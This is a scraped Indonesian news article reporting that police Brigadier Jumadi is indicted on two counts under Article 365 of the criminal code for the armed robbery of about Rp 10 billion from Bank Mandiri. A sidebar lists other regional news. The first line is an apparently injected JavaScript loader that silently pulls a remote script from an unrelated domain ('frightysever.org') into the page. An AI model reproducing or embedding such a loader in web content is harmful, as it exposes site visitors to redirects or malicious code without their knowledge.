(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Brigadir Jumadi, Perampok Rp 10 M Didakwa Dua Pasal


BANJARMASIN, Masih ingat kejadian perampokan uang Bank Mandiri Cabang Tanjung  yang dilakukan oleh Brigadir Jumadi pada Kamis 4 Januari lalu. Uang Sekitar Rp 10 miliar yang diambil dari Mandiri Cabang Banjarmasin itu dirampok Brigadir asal Polres Tanjung, hingga diburu oleh Polda Kalsel.

Untuk mendakwa Brigadir Jumadi yang duduk di kursi pesakitan Pengadilan Negeri (PN) Banjarmasin, Selasa (3/4), Jaksa Penuntut Umum (JPU) Suwarti menggunakan dakwaan pasal berlapis.

Saat membacakan surat dakwaan, JPU Suwarti berargumen terdakwa Brigadir Jumadi telah memenuhi unsur-unsur tindak pidana pencurian dengan pemberatan atau perampokan yang terdapat dalam Pasal 365 ayat 1 dan ayat 2 KUHP.

Di hadapan majelis hakim yang diketuai Eddy Cahyono, JPU Suwarti mengatakan aksi perampokan yang dilakukan Brigadir Jumadi dan dibantu terdakwa lainnya, Yongky sebagaimana dalam unsur-unsur Pasal 365 ayat 1 dan ayat 2 KUHP, dengan ancaman pidana paling lama 9 tahun dan 15 tahun.

Dalam persidangan terbuka di PN Banjarmasin, JPU Suwarti juga membacakan kronologis perkara perampokan yang dilakukan Brigadir Jumadi dan rekannya, Yongky dengan menjerat driver Bank Mandiri Cabang Tanjung, Gugum bersama karyawan bank, Atika. Di bawah ancaman senjata api, aksi Brigadir Jumadi bersama Yongky terbilang mulus dengan melarikan uang hasil perampokan menggunakan mobil Toyota Avanza warna hitam berplat nomor DD 1182 KE.

Uang yang berhasil digasak Brigadir Jumadi bersama Yongky terdiri dari uang pecahan Rp 100 ribu sebanyak Rp 6 miliar dan pecahan Rp 50 ribu senilai Rp 4 miliar di seputaran jembatan Martapura. Dua karyawan Bank Mandiri Tanjung, Gugum pun diborgol dan dilakban mata dan mulut. Sedangkan, Atika juga dilakban kedua belah tangan, kaki, mulut dan matanya. Kedua korban ini kemudian ditinggalkan di Jalan Trikora, Banjarbaru. Hingga akhirnya, drama penangkapan terhadap Brigadir Jumadi dan Yongky berhasil dilakukan jajaran Polda Kalsel.

Sementara itu, kuasa hukum terdakwa Iwan Saputra mengakui dakwaan jaksa untuk langsung dijawab dengan nota keberatan (eksepsi). “Persidangan pada Selasa (10/4) depan, dilanjutkan dengan pemeriksaan saksi-saksi,” ucap Iwan Saputra,

Menariknya, saat memasuki ruangan sidang, terdakwa Brigadir Jumadi yang dihadiahi timah panas oleh polisi, tampak berjalan terpincang-pincang. Dia berjalan menggunakan tongkat bantu untuk mendengarkan pembacaan surat dakwaan dari JPU Suwarti. (ammar)

Reporter : Ammar
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Citaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

1 jam ago

KPU Banjarbaru Rencanakan Launching Pilkada 2024 Akhir Mei

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More

3 jam ago

Jembatan Pulau Telo Tertabrak Kapal Pembawa Crane, Pj Bupati Cek Kondisi

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More

4 jam ago

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

16 jam ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

16 jam ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

17 jam ago

This website uses cookies.